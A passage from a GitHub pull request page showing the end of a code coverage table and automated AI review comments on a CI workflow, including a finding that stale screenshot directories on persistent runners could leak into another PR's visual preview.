  ...ContextEnv.ts |     100 |    94.73 |     100 |     100 | 76,111            
  ...ionService.ts |   84.43 |    78.45 |   97.18 |   84.43 | ...2496,2502-2507 
  ...pInhibitor.ts |   97.42 |    92.77 |     100 |   97.42 | ...30,169,369-370 
  ...e-encoding.ts |   85.96 |    76.47 |     100 |   85.96 | 58-61,64-65,78-79 
  ...Estimation.ts |     100 |    95.83 |     100 |     100 | 139               
  ...ageService.ts |   97.76 |    91.59 |   93.75 |   97.76 | ...61-262,366,567 
  ...ite-origin.ts |     100 |    93.33 |     100 |     100 | 32                
  ...UseSummary.ts |   94.63 |    88.46 |     100 |   94.63 | ...62-164,214-215 
  ...rd-service.ts |     100 |    88.37 |     100 |     100 | ...29,145-146,241 
  ...oryService.ts |   90.77 |    84.92 |     100 |   90.77 | ...43-546,598-599 
  ...l-registry.ts |   92.99 |    83.19 |     100 |   92.99 | ...66-367,377-378 
  ...reeCleanup.ts |   14.42 |      100 |   33.33 |   14.42 | 58-186            
  ...ionService.ts |   88.36 |     87.8 |     100 |   88.36 | ...48-449,465-466 
 ...icrocompaction |   98.91 |    95.08 |     100 |   98.91 |                   
  microcompact.ts  |   98.91 |    95.08 |     100 |   98.91 | ...60,769,778-779 
 ...s/visionBridge |    98.8 |    92.12 |     100 |    98.8 |                   
  ...capability.ts |     100 |      100 |     100 |     100 |                   
  ...part-utils.ts |     100 |      100 |     100 |     100 |                   
  ...ion-bridge.ts |   98.72 |    82.35 |     100 |   98.72 | 65,71             
  ...ge-service.ts |   98.61 |     94.7 |     100 |   98.61 | ...06,666,679-680 
 src/skills        |   89.78 |    86.08 |   94.73 |   89.78 |                   
  index.ts         |     100 |      100 |     100 |     100 |                   
  ...activation.ts |     100 |    93.33 |     100 |     100 | 93,112            
  skill-curator.ts |   89.71 |    81.54 |     100 |   89.71 | ...01-902,904-907 
  skill-load.ts    |   94.84 |    87.69 |     100 |   94.84 | ...03,223,235-237 
  skill-manager.ts |   86.11 |    85.71 |   86.11 |   86.11 | ...1244,1251-1255 
  skill-paths.ts   |   90.42 |     87.5 |     100 |   90.42 | ...19-120,125-126 
  symlinkScope.ts  |     100 |      100 |     100 |     100 |                   
  types.ts         |   97.91 |    98.07 |     100 |   97.91 | 289-290           
 ...ataviz/scripts |   80.06 |    95.23 |   88.23 |   80.06 |                   
  ...te_palette.js |   80.06 |    95.23 |   88.23 |   80.06 | 261-296,306-328   
 ...s/bundled/loop |   97.48 |    95.77 |     100 |   97.48 |                   
  ...omous-loop.ts |     100 |      100 |     100 |     100 |                   
  ...-task-file.ts |   94.85 |     92.4 |     100 |   94.85 | ...56,367,375-376 
  ...k-resolver.ts |     100 |      100 |     100 |     100 |                   
 src/subagents     |   88.58 |    89.46 |    98.3 |   88.58 |                   
  ...ter-schema.ts |     100 |    98.07 |     100 |     100 | 99                
  ...tin-agents.ts |     100 |      100 |     100 |     100 |                   
  index.ts         |     100 |      100 |     100 |     100 |                   
  ...nt-manager.ts |   85.54 |    86.59 |   97.43 |   85.54 | ...1588,1665-1666 
  types.ts         |     100 |      100 |     100 |     100 |                   
  validation.ts    |   92.46 |    95.18 |     100 |   92.46 | 47-52,63-68,71-76 
 src/telemetry     |   83.23 |    84.98 |   86.51 |   83.23 |                   
  ...ty-tracker.ts |     100 |      100 |     100 |     100 |                   
  config.ts        |     100 |      100 |     100 |     100 |                   
  constants.ts     |     100 |      100 |     100 |     100 |                   
  context-usage.ts |   96.85 |    91.07 |     100 |   96.85 | ...26-127,199-200 
  ...on-metrics.ts |   99.08 |    80.95 |     100 |   99.08 | 185,199           
  ...on-tracing.ts |   80.71 |    81.91 |   79.16 |   80.71 | ...92,499-501,517 
  ...attributes.ts |   96.98 |    91.37 |     100 |   96.98 | ...47-348,366-367 
  ...ag-metrics.ts |     100 |    77.77 |     100 |     100 | 21,40             
  ...t-loop-lag.ts |   96.85 |    85.71 |     100 |   96.85 | 170-173           
  ...-exporters.ts |   65.38 |    83.33 |      50 |   65.38 | ...08-109,112-113 
  ...ai-content.ts |    74.5 |    66.41 |   91.66 |    74.5 | ...1480,1493-1502 
  ...i-provider.ts |     100 |    99.02 |     100 |     100 | 106               
  ...ai-request.ts |   87.88 |    92.79 |   83.78 |   87.88 | ...55-561,564-568 
  gen-ai-usage.ts  |     100 |      100 |     100 |     100 |                   
  index.ts         |     100 |      100 |     100 |     100 |                   
  ...t.circular.ts |       0 |        0 |       0 |       0 | 1-111             
  ...-processor.ts |   99.12 |    96.03 |      95 |   99.12 | 150,379-380       
  ...t.circular.ts |       0 |        0 |       0 |       0 | 1-128             
  loggers.ts       |   60.83 |    77.77 |   66.66 |   60.83 | ...1523,1540-1560 
  metrics.ts       |   80.37 |    82.35 |   80.95 |   80.37 | ...1150,1153-1164 
  otlp-urls.ts     |     100 |      100 |     100 |     100 |                   
  ...attributes.ts |     100 |      100 |     100 |     100 |                   
  ...ime-config.ts |       0 |        0 |       0 |       0 | 1                 
  sanitize.ts      |      80 |    83.33 |     100 |      80 | 35-36,41-42       
  ...rters-grpc.ts |     100 |      100 |     100 |     100 |                   
  ...rters-http.ts |     100 |      100 |     100 |     100 |                   
  sdk-impl.ts      |   94.13 |    86.66 |      75 |   94.13 | ...45,496-497,513 
  sdk.ts           |    82.7 |     90.9 |   66.66 |    82.7 | ...00-204,242-264 
  ...on-context.ts |     100 |      100 |     100 |     100 |                   
  ...ion-events.ts |     100 |      100 |     100 |     100 |                   
  ...on-tracing.ts |   91.29 |    88.88 |    97.5 |   91.29 | ...1946,1975-1978 
  ...etry-utils.ts |     100 |      100 |     100 |     100 |                   
  ...l-decision.ts |     100 |      100 |     100 |     100 |                   
  trace-context.ts |     100 |      100 |     100 |     100 |                   
  ...e-id-utils.ts |     100 |      100 |     100 |     100 |                   
  tracer.ts        |   98.56 |    88.63 |     100 |   98.56 | 52,101            
  types.ts         |   83.26 |    88.81 |   86.36 |   83.26 | ...1467,1471-1478 
  uiTelemetry.ts   |   98.87 |     95.1 |   97.05 |   98.87 | ...59,696,786-787 
 ...ry/qwen-logger |   74.23 |     80.7 |      70 |   74.23 |                   
  event-types.ts   |       0 |        0 |       0 |       0 |                   
  qwen-logger.ts   |   74.23 |    80.53 |   69.49 |   74.23 | ...1122,1160-1161 
 src/test-utils    |   96.38 |    98.64 |   84.09 |   96.38 |                   
  config.ts        |     100 |      100 |     100 |     100 |                   
  ...st-helpers.ts |   94.11 |       90 |     100 |   94.11 | 69-70             
  index.ts         |     100 |      100 |     100 |     100 |                   
  ...mised-lock.ts |     100 |      100 |     100 |     100 |                   
  mock-tool.ts     |   94.85 |      100 |      80 |   94.85 | ...53,227-228,241 
  ...aceContext.ts |     100 |      100 |     100 |     100 |                   
 src/tools         |   87.55 |    86.08 |   90.22 |   87.55 |                   
  ...erQuestion.ts |   89.71 |    81.48 |   92.85 |   89.71 | ...81-382,389-390 
  ...-registrar.ts |    77.7 |    66.66 |   66.66 |    77.7 | ...72-277,292-294 
  ...ub-session.ts |   89.72 |    91.48 |   83.33 |   89.72 | ...06-307,318-325 
  cron-create.ts   |   92.26 |    97.72 |      75 |   92.26 | ...,76-77,272-281 
  cron-delete.ts   |   97.56 |      100 |   85.71 |   97.56 | 31-32             
  cron-list.ts     |   98.23 |    95.45 |   88.88 |   98.23 | 57-58             
  diffOptions.ts   |     100 |      100 |     100 |     100 |                   
  display-image.ts |   87.42 |    85.71 |    90.9 |   87.42 | ...29-134,194-195 
  edit.ts          |   82.76 |    86.88 |   82.35 |   82.76 | ...45-746,865-915 
  ...r-worktree.ts |   83.14 |    68.42 |   88.88 |   83.14 | ...84-187,278-279 
  enterPlanMode.ts |      85 |       84 |      90 |      85 | ...28-133,161-175 
  exit-worktree.ts |   83.29 |     83.8 |   94.73 |   83.29 | ...14-515,537-538 
  exitPlanMode.ts  |      95 |    85.29 |     100 |      95 | ...21-325,344,378 
  ...permission.ts |     100 |      100 |     100 |     100 |                   
  glob.ts          |   96.33 |     88.5 |     100 |   96.33 | ...24-225,373,376 
  grep.ts          |   90.73 |    86.71 |   86.36 |   90.73 | ...76-677,727-728 
  ...adTracking.ts |     100 |      100 |     100 |     100 |                   
  image-gen.ts     |   91.66 |    78.12 |   91.66 |   91.66 | ...13-214,221-222 
  list-agents.ts   |   94.11 |    83.33 |   85.71 |   94.11 | 31-32,47-48       
  loop-wakeup.ts   |   99.27 |     93.1 |     100 |   99.27 | 45                
  ls.ts            |   96.74 |    90.54 |     100 |   96.74 | 176-181,212,216   
  lsp.ts           |   72.71 |     59.9 |    90.9 |   72.71 | ...1212,1214-1215 
  ...nt-manager.ts |   82.07 |    80.15 |   85.71 |   82.07 | ...3243,3245-3246 
  mcp-client.ts    |   86.25 |    87.61 |   93.93 |   86.25 | ...2552,2556-2559 
  ...ry-timeout.ts |     100 |      100 |     100 |     100 |                   
  mcp-errors.ts    |     100 |      100 |     100 |     100 |                   
  ...pool-entry.ts |   79.21 |    85.71 |   81.57 |   79.21 | ...1342,1350-1351 
  ...ool-events.ts |       8 |      100 |       0 |       8 | 132-158           
  mcp-pool-key.ts  |    97.5 |    93.93 |     100 |    97.5 | 178-179           
  ...ce-content.ts |   96.55 |    91.17 |     100 |   96.55 | 80-82             
  mcp-retry.ts     |   97.67 |    95.65 |     100 |   97.67 | 131-132           
  ...ion-config.ts |     100 |      100 |     100 |     100 |                   
  mcp-status.ts    |     100 |      100 |     100 |     100 |                   
  mcp-tool.ts      |    98.1 |       93 |     100 |    98.1 | ...1233,1288-1289 
  ...sport-pool.ts |   83.98 |     80.3 |   88.46 |   83.98 | ...1411,1418-1422 
  ...ace-budget.ts |   87.27 |     82.6 |     100 |   87.27 | ...00-305,340-345 
  memory-config.ts |     100 |      100 |     100 |     100 |                   
  ...iable-tool.ts |     100 |    84.61 |     100 |     100 | 101,108           
  monitor.ts       |   91.82 |    83.09 |   88.46 |   91.82 | ...99,612,810-815 
  notebook-edit.ts |   85.71 |    77.39 |   82.35 |   85.71 | ...96-912,958-959 
  ...escendants.ts |   36.17 |    64.51 |   55.55 |   36.17 | ...46-310,385-390 
  ...nforcement.ts |   83.21 |    90.69 |     100 |   83.21 | 147-158,207-220   
  read-file.ts     |   95.49 |    88.61 |    87.5 |   95.49 | ...49,464,536-537 
  ...p-resource.ts |   96.85 |      100 |   91.66 |   96.85 | 92-96             
  readManyFiles.ts |   96.04 |    82.25 |     100 |   96.04 | ...41,594,604-608 
  ...d-artifact.ts |   85.68 |    81.59 |   94.73 |   85.68 | ...1071,1095-1096 
  ...t-findings.ts |   99.13 |    93.93 |    92.3 |   99.13 | 256-258           
  ...t-shutdown.ts |    87.2 |    86.66 |   77.77 |    87.2 | ...,75-79,162-165 
  ripGrep.ts       |    94.6 |    87.34 |   95.45 |    94.6 | ...33-734,740-741 
  ...-transport.ts |   71.42 |    55.55 |   71.42 |   71.42 | ...36-137,143-144 
  send-message.ts  |    81.5 |     90.9 |   66.66 |    81.5 | ...80-286,354-361 
  ...n-mcp-view.ts |   94.07 |    91.89 |    90.9 |   94.07 | 131-139           
  shell.ts         |   78.96 |    84.29 |      93 |   78.96 | ...5036,5111-5112 
  skill-utils.ts   |     100 |      100 |     100 |     100 |                   
  skill.ts         |   93.56 |    90.78 |   91.66 |   93.56 | ...49,653,701-723 
  ...-constants.ts |     100 |      100 |     100 |     100 |                   
  ...eticOutput.ts |   95.12 |      100 |      80 |   95.12 | 87-88             
  task-create.ts   |    94.4 |    93.75 |   83.33 |    94.4 | 45-49,63-64,95    
  task-list.ts     |   80.43 |    86.95 |   85.71 |   80.43 | ...67,121,125-132 
  task-stop.ts     |   93.14 |    96.29 |    87.5 |   93.14 | 39-40,54-64       
  task-update.ts   |   82.87 |     86.5 |   92.85 |   82.87 | ...54-564,588-599 
  team-create.ts   |   97.24 |     87.5 |   85.71 |   97.24 | 48-49,129-130     
  team-delete.ts   |   86.74 |    84.61 |   85.71 |   86.74 | 37-38,42-48,72-73 
  ...n-approval.ts |   92.14 |    96.96 |   81.81 |   92.14 | 38-39,42-43,93-99 
  todoWrite.ts     |   95.73 |    90.47 |   93.75 |   95.73 | ...48-552,565-570 
  ...repeat-key.ts |     100 |      100 |     100 |     100 |                   
  tool-error.ts    |     100 |      100 |     100 |     100 |                   
  tool-names.ts    |     100 |      100 |     100 |     100 |                   
  tool-registry.ts |   80.72 |    82.95 |   86.53 |   80.72 | ...1106,1114-1115 
  ...-finalizer.ts |    98.1 |    92.36 |   93.33 |    98.1 | ...34-235,237-241 
  ...iagnostics.ts |   99.06 |    97.69 |   91.66 |   99.06 | 133-134,205       
  ...-retention.ts |     100 |    95.83 |     100 |     100 | 116               
  tool-search.ts   |   96.19 |    89.79 |   93.75 |   96.19 | ...09,259-264,426 
  tool-utils.ts    |   97.46 |    96.55 |     100 |   97.46 | 26-27             
  tools.ts         |   92.93 |    92.18 |      92 |   92.93 | ...64-565,581-587 
  truncation.ts    |   90.61 |    90.35 |     100 |   90.61 | ...53-461,498-504 
  ...reapproved.ts |   99.27 |    94.11 |     100 |   99.27 | 170               
  web-fetch.ts     |   96.05 |    90.54 |   96.77 |   96.05 | ...85-786,800-801 
  web-search.ts    |   90.58 |    83.57 |      80 |   90.58 | ...1025,1083-1086 
  write-file.ts    |   87.29 |    86.15 |   89.47 |   87.29 | ...53-856,893-928 
  zoom-image.ts    |   95.76 |    93.93 |    90.9 |   95.76 | 54-59,203-204     
 src/tools/agent   |   87.26 |    88.51 |   89.71 |   87.26 |                   
  agent.ts         |   85.88 |    87.64 |   87.35 |   85.88 | ...4265,4299-4309 
  fork-profile.ts  |   93.65 |       90 |     100 |   93.65 | ...33-134,171-174 
  fork-subagent.ts |   98.73 |       95 |     100 |   98.73 | 101-102,173       
 ...tools/artifact |   95.83 |    92.51 |   88.63 |   95.83 |                   
  artifact-tool.ts |   91.69 |    88.46 |   71.42 |   91.69 | ...20-321,329-332 
  ...-publisher.ts |     100 |    85.71 |     100 |     100 | 32                
  ...-publisher.ts |   96.74 |    97.72 |    87.5 |   96.74 | 29-30,156-157     
  html.ts          |     100 |    96.77 |     100 |     100 | 122               
  ...-publisher.ts |     100 |       80 |     100 |     100 | 30                
  oss-publisher.ts |    98.1 |    91.48 |     100 |    98.1 | 43-45             
  publisher.ts     |     100 |      100 |     100 |     100 |                   
 ...tools/workflow |   89.33 |    87.68 |   82.75 |   89.33 |                   
  workflow.ts      |   89.33 |    87.68 |   82.75 |   89.33 | ...33,878,880-881 
 src/utils         |   92.78 |    89.76 |   96.89 |   92.78 |                   
  ...Controller.ts |     100 |      100 |     100 |     100 |                   
  ...ssageQueue.ts |     100 |      100 |     100 |     100 |                   
  ...cFileWrite.ts |      95 |    92.76 |     100 |      95 | ...49-550,657-661 
  auth-type.ts     |     100 |      100 |     100 |     100 |                   
  bareMode.ts      |   81.81 |      100 |      50 |   81.81 | 18-19             
  ...ry-content.ts |   98.45 |    95.79 |     100 |   98.45 | 132-133,159-160   
  browser.ts       |   86.84 |    78.94 |     100 |   86.84 | 34,36-37,65-66    
  btwUtils.ts      |   13.95 |      100 |       0 |   13.95 | 17-31,34-55       
  bundlePaths.ts   |     100 |      100 |     100 |     100 |                   
  ...on-context.ts |     100 |      100 |     100 |     100 |                   
  ...igResolver.ts |     100 |      100 |     100 |     100 |                   
  ...engthError.ts |   91.06 |    89.47 |     100 |   91.06 | ...46-147,154-155 
  ...n-branches.ts |   95.89 |    94.11 |      95 |   95.89 | ...99-500,512-525 
  ...tion-chain.ts |     100 |      100 |     100 |     100 |                   
  cronDisplay.ts   |     100 |    97.61 |     100 |     100 | 46                
  cronParser.ts    |   95.34 |    93.33 |     100 |   95.34 | 41-42,47-48,70-71 
  debugLogger.ts   |     100 |    97.18 |     100 |     100 | 79,86             
  ...qwen-model.ts |     100 |      100 |     100 |     100 |                   
  editHelper.ts    |   93.63 |     83.9 |     100 |   93.63 | ...27-428,462-463 
  editor.ts        |   97.65 |    95.45 |     100 |   97.65 | ...35-336,338-339 
  encoding.ts      |     100 |      100 |     100 |     100 |                   
  env.ts           |     100 |      100 |     100 |     100 |                   
  ...arResolver.ts |   94.28 |    88.88 |     100 |   94.28 | 28-29,125-126     
  errorParsing.ts  |     100 |      100 |     100 |     100 |                   
  ...rReporting.ts |   95.65 |    93.33 |     100 |   95.65 | 37-38             
  errors.ts        |   88.92 |    93.03 |      68 |   88.92 | ...92,394,410-411 
  fetch.ts         |   90.68 |    82.63 |     100 |   90.68 | ...72,483-484,503 
  ...ng-options.ts |     100 |      100 |     100 |     100 |                   
  file-identity.ts |     100 |      100 |     100 |     100 |                   
  fileUtils.ts     |   94.79 |    92.16 |   96.29 |   94.79 | ...2076,2084-2085 
  formatters.ts    |     100 |      100 |     100 |     100 |                   
  ...eUtilities.ts |    92.4 |    86.95 |     100 |    92.4 | ...52-158,168-169 
  ...rStructure.ts |   94.39 |    94.28 |     100 |   94.39 | ...29-132,343-348 
  getPty.ts        |   31.57 |       50 |     100 |   31.57 | 26-38             
  git-branches.ts  |   91.64 |    84.87 |    92.3 |   91.64 | ...00,415-420,580 
  ...fig-safety.ts |   97.01 |       80 |     100 |   97.01 | 53-54             
  git-ignore.ts    |     100 |      100 |     100 |     100 |                   
  gitDiff.ts       |   95.19 |    81.36 |     100 |   95.19 | ...1073,1419-1420 
  gitDirect.ts     |   98.84 |    94.28 |     100 |   98.84 | 234,318           
  ...noreParser.ts |   94.48 |    93.22 |     100 |   94.48 | ...23-124,158-159 
  gitUtils.ts      |   78.83 |    82.35 |    87.5 |   78.83 | ...22-123,164-215 
  github-prs.ts    |   96.06 |    84.09 |     100 |   96.06 | 251,350-358       
  iconvHelper.ts   |     100 |      100 |     100 |     100 |                   
  ...rePatterns.ts |     100 |      100 |     100 |     100 |                   
  image-view.ts    |   95.08 |    93.47 |     100 |   95.08 | ...62-166,234-238 
  ...lPromptIds.ts |     100 |      100 |     100 |     100 |                   
  ...on-context.ts |     100 |      100 |     100 |     100 |                   
  is-tool.ts       |     100 |      100 |     100 |     100 |                   
  jsonl-utils.ts   |   96.15 |    93.63 |     100 |   96.15 | ...86-387,429-432 
  ...-detection.ts |     100 |      100 |     100 |     100 |                   
  ...iconv-lite.ts |     100 |      100 |     100 |     100 |                   
  ...simple-git.ts |   96.77 |    91.66 |     100 |   96.77 | 38                
  ...m-headless.ts |      96 |    88.88 |     100 |      96 | 34                
  ...-constants.ts |   94.73 |     92.3 |     100 |   94.73 | 66-67             
  ...iagnostics.ts |    96.4 |     94.2 |     100 |    96.4 | ...66,293-294,376 
  ...tProcessor.ts |   94.01 |     90.1 |     100 |   94.01 | ...47-353,445-446 
  ...Inspectors.ts |     100 |      100 |     100 |     100 |                   
  modelId.ts       |   98.96 |    98.18 |     100 |   98.96 | 154               
  ...kerChecker.ts |    90.9 |    91.66 |     100 |    90.9 | 73-79             
  notebook.ts      |   94.57 |    89.91 |   95.83 |   94.57 | ...21,333,385-387 
  openaiLogger.ts  |   91.66 |    89.74 |     100 |   91.66 | ...26-228,251-256 
  osc8.ts          |   54.26 |    64.86 |   83.33 |   54.26 | ...72-195,197-257 
  partUtils.ts     |     100 |    98.64 |     100 |     100 | 211               
  pathReader.ts    |     100 |      100 |     100 |     100 |                   
  paths.ts         |   90.88 |    90.66 |     100 |   90.88 | ...28-629,631-633 
  pdf.ts           |   92.17 |    85.81 |     100 |   92.17 | ...64-565,606-611 
  ...s-liveness.ts |     100 |    93.47 |     100 |     100 | 62,72,108         
  projectPath.ts   |     100 |      100 |     100 |     100 |                   
  projectRoot.ts   |   71.73 |    78.57 |     100 |   71.73 | 54-66             
  ...ectSummary.ts |   89.62 |    72.41 |     100 |   89.62 | ...40-145,196-199 
  ...tIdContext.ts |     100 |      100 |     100 |     100 |                   
  proxyUtils.ts    |     100 |      100 |     100 |     100 |                   
  ...rDetection.ts |   71.15 |       86 |     100 |   71.15 | ...-90,96-101,147 
  ...noreParser.ts |   92.63 |    91.66 |     100 |   92.63 | ...77-178,197-198 
  rateLimit.ts     |   93.75 |    89.62 |     100 |   93.75 | ...13,218-219,262 
  ...text-range.ts |   96.98 |    87.36 |     100 |   96.98 | ...87-688,763-764 
  retry.ts         |   96.09 |    92.52 |     100 |   96.09 | ...72,563-564,582 
  retryContext.ts  |     100 |      100 |     100 |     100 |                   
  ...sification.ts |   97.63 |    97.08 |     100 |   97.63 | ...17,251-252,278 
  retryPolicy.ts   |   97.72 |    90.56 |     100 |   97.72 | 130-131           
  ripgrepUtils.ts  |   90.04 |    93.43 |   95.45 |   90.04 | ...55-565,598-599 
  ...iagnostics.ts |   83.08 |     67.5 |   92.59 |   83.08 | ...23,543-544,550 
  ...tchOptions.ts |   84.87 |    86.71 |   96.29 |   84.87 | ...71,696,725-734 
  ...odelPrefix.ts |     100 |      100 |     100 |     100 |                   
  runtimeStatus.ts |   97.77 |    91.48 |     100 |   97.77 | 172-173           
  safe-mode.ts     |     100 |      100 |     100 |     100 |                   
  safeJsonParse.ts |     100 |      100 |     100 |     100 |                   
  ...nStringify.ts |     100 |      100 |     100 |     100 |                   
  ...-child-env.ts |     100 |      100 |     100 |     100 |                   
  ...aConverter.ts |   98.22 |    98.01 |     100 |   98.22 | 100,102-103       
  ...aValidator.ts |   92.09 |    83.65 |   90.47 |   92.09 | ...60,882-883,896 
  ...r-launcher.ts |   96.35 |    93.97 |   85.71 |   96.35 | ...35-336,347-348 
  sedEditParser.ts |   91.78 |    92.18 |     100 |   91.78 | ...66-569,645-646 
  ...nIdContext.ts |     100 |       90 |     100 |     100 | 95                
  ...orageUtils.ts |   96.21 |     86.2 |     100 |   96.21 | ...70,386,466,485 
  ...-pager-env.ts |     100 |      100 |     100 |     100 |                   
  ...fety-rules.ts |     100 |     89.7 |     100 |     100 | ...01,304,309-311 
  shell-utils.ts   |   86.37 |    88.59 |     100 |   86.37 | ...2361,2368-2372 
  ...lAstParser.ts |    98.3 |    91.59 |     100 |    98.3 | ...1340-1342,1352 
  ...nlyChecker.ts |   96.33 |    96.57 |     100 |   96.33 | ...83-284,292-293 
  sideQuery.ts     |   86.82 |    86.66 |     100 |   86.82 | ...79-185,187-193 
  ...pEventSink.ts |     100 |       80 |     100 |     100 | 61                
  ...tGenerator.ts |     100 |      100 |     100 |     100 |                   
  ...ameContext.ts |     100 |      100 |     100 |     100 |                   
  symlink.ts       |   77.77 |    57.14 |     100 |   77.77 | 44,54-59          
  ...emEncoding.ts |   96.36 |    91.17 |     100 |   96.36 | 59-60,124-125     
  terminal-env.ts  |      50 |      100 |       0 |      50 | 18-19             
  terminalSafe.ts  |     100 |      100 |     100 |     100 |                   
  ...Serializer.ts |   98.72 |       90 |     100 |   98.72 | 42-43,134,201-203 
  testUtils.ts     |   53.33 |      100 |   33.33 |   53.33 | ...53,59-64,70-72 
  ...-constants.ts |     100 |      100 |     100 |     100 |                   
  textUtils.ts     |      65 |      100 |      75 |      65 | 56-75             
  thoughtUtils.ts  |     100 |    95.65 |     100 |     100 | 99                
  ...-converter.ts |   95.23 |    85.71 |     100 |   95.23 | 36-37             
  ...error-type.ts |     100 |      100 |     100 |     100 |                   
  ...name-utils.ts |     100 |      100 |     100 |     100 |                   
  ...ultCleanup.ts |   54.62 |    65.38 |      75 |   54.62 | ...03-105,108-134 
  ...Compaction.ts |   96.83 |     92.7 |     100 |   96.83 | ...37-342,344-349 
  ...pt-records.ts |   87.61 |    86.23 |     100 |   87.61 | ...80-484,514-529 
  ...-constants.ts |     100 |      100 |     100 |     100 |                   
  windowsPath.ts   |   89.47 |    79.31 |     100 |   89.47 | ...57-58,62,90-91 
  ...-directory.ts |    83.7 |    80.95 |    87.5 |    83.7 | ...37-238,252-253 
  ...ifact-path.ts |   94.11 |    92.85 |     100 |   94.11 | 32-33             
  ...aceContext.ts |   95.39 |    89.47 |     100 |   95.39 | ...16-317,321-322 
  xml.ts           |    97.8 |    87.69 |     100 |    97.8 | 98-99             
  yaml-parser.ts   |   83.87 |    77.27 |     100 |   83.87 | ...31-234,239-240 
 ...ils/filesearch |   83.94 |    80.75 |   94.78 |   83.94 |                   
  crawlCache.ts    |     100 |      100 |     100 |     100 |                   
  crawler.ts       |    82.9 |    76.81 |   95.08 |    82.9 | ...1563,1597-1598 
  fileSearch.ts    |   93.78 |    87.67 |     100 |   93.78 | ...71-272,274-275 
  fzfWorker.ts     |       0 |        0 |       0 |       0 | 1-109             
  ...rkerHandle.ts |   84.05 |    75.86 |      90 |   84.05 | ...30-334,340-341 
  ignore.ts        |     100 |    97.36 |     100 |     100 | 187               
  result-cache.ts  |     100 |    93.75 |     100 |     100 | 49                
 ...uest-tokenizer |    92.3 |      100 |   88.88 |    92.3 |                   
  ...ageFormats.ts |   81.81 |      100 |   66.66 |   81.81 | 56-61             
  textTokenizer.ts |     100 |      100 |     100 |     100 |                   
-------------------|---------|----------|---------|---------|-------------------

For detailed HTML reports, please see the 'coverage-reports-22.x-ubuntu-latest' artifact from the main CI run.

@qwen-code-ci-bot qwen-code-ci-bot left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

LGTM, looks ready to ship — CI landed green after the review. ✅

@qwen-code-ci-bot qwen-code-ci-bot left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

1 Suggestion-level finding(s) this review confirmed are already reported on this PR and are not repeated:

  • R1-5 ambient-secret guard scans only step-level env (with:/job-env/run: slip past) — already reported (issue comment 5421801878)

Not linted (tool limitation, not a blocker): the executable-script lint — .github/workflows/web-shell-visuals.yml: actionlint embedded-shell source mapping is not yet supported — not linted.

中文说明

本轮确认的 1 条建议级发现已在 PR 上报告过,不再重复发布(列表见上方英文部分)。

未检查(工具限制,非阻断):the executable-script lint — .github/workflows/web-shell-visuals.yml: actionlint embedded-shell source mapping is not yet supported — not linted。

— qwen3.8-max via Qwen Code /review (v0.22.0)

# this persistent runner may leave root-owned or read-only files in the
# shared workspace, and checkout's clean would die on EACCES. Hosted
# runners are ephemeral and never take this branch.
- name: 'Restore workspace ownership'

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] The capture directories under ${RUNNER_TEMP} are never cleared on the pool lane, so screenshots and videos left over from a previous run can leak into this PR's preview. serve-ab.yml — which this PR explicitly mirrors — carries a dedicated 'Clear stale capture dirs' step for exactly this reason, and its comment says why: on the persistent pool ${RUNNER_TEMP} outlives a run. The harness here only mkdirSyncs the output directories, and compose, GIF conversion, and the uploads consume whatever is on disk.

On two visuals runs on the same pool machine where the second run's view/flow set differs, or where the after_capture step or the base checkout fails (both are continue-on-error: true), the previous run's leftover PNGs and .webm files are composited, converted to GIFs, and uploaded as THIS PR's preview — or the previous run's web-shell-before/ PNGs silently become the diff baseline. render-status.txt records only the after_capture outcome, so no warning fires.

Verified by running the PR's own unmodified web-shell-visuals-compose.mjs against seeded leftover dirs: composer-light.png: hasBefore=false -> COMPOSITED/PUBLISHED, sidebar-dark.png: hasBefore=true -> COMPOSITED/PUBLISHED, 2 stale PNG(s) from PR #A would be composited/uploaded as PR #B's preview.

Note: the PR description says "outputs live under runner.temp, which the runner wipes between jobs" — that holds for ephemeral hosted runners at best, and serve-ab's comment and clear step exist precisely because it does not hold on this fleet's pool.

Suggested change
- name: 'Restore workspace ownership'
# Unconditional, and before any capture: on the persistent pool
# ${RUNNER_TEMP} outlives a run (see serve-ab.yml's 'Clear stale
# capture dirs'). A leftover capture set from an earlier run would
# be composited and uploaded as this run's preview. No-op on hosted.
- name: 'Clear stale capture dirs'
run: |-
set -euo pipefail
rm -rf "${RUNNER_TEMP}/web-shell-visuals" "${RUNNER_TEMP}/web-shell-before"
- name: 'Restore workspace ownership'
中文说明

池上车道从不清理 ${RUNNER_TEMP} 下的捕获目录,上一次运行遗留的截图/视频可能混入本 PR 的预览。本 PR 显式对标的 serve-ab.yml 正是为此带了专门的 'Clear stale capture dirs' 步骤,其注释写明原因:常驻池上 ${RUNNER_TEMP} 跨运行存留。此处 harness 只 mkdirSync 输出目录,而 compose、GIF 转换与上传直接消费磁盘上已有的内容。

同一台池机器上先后两次 visuals 运行,若第二次的视图/流程集合不同,或 after_capture 步骤、base 检出失败(两者均为 continue-on-error: true),上一次运行遗留的 PNG 与 .webm 会被合成、转 GIF 并作为本 PR 的预览上传——更糟的是上一次运行的 web-shell-before/ PNG 会悄悄成为差异基线。render-status.txt 只记录 after_capture 的结果,因此不会有任何告警。

已用本 PR 未改动的 web-shell-visuals-compose.mjs 对植入的遗留目录实际运行验证:composer-light.png: hasBefore=false -> COMPOSITED/PUBLISHEDsidebar-dark.png: hasBefore=true -> COMPOSITED/PUBLISHED2 stale PNG(s) from PR #A would be composited/uploaded as PR #B's preview

注:PR 描述称"输出位于 runner.temp,runner 每个 job 之间清理"——这对一次性托管 runner 至多成立;serve-ab 的注释与清理步骤正是因为在该车队的池上并非如此而存在。建议补丁:在捕获开始前无条件清理 ${RUNNER_TEMP}/web-shell-visuals${RUNNER_TEMP}/web-shell-before(托管 runner 上为空操作)。

— qwen3.8-max via Qwen Code /review (v0.22.0)

Comment thread .github/workflows/web-shell-visuals.yml Outdated
npx playwright install chromium
missing=''
while IFS= read -r bin; do
missing="${missing}$(ldd "${bin}" 2>/dev/null | grep 'not found' || true)"

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

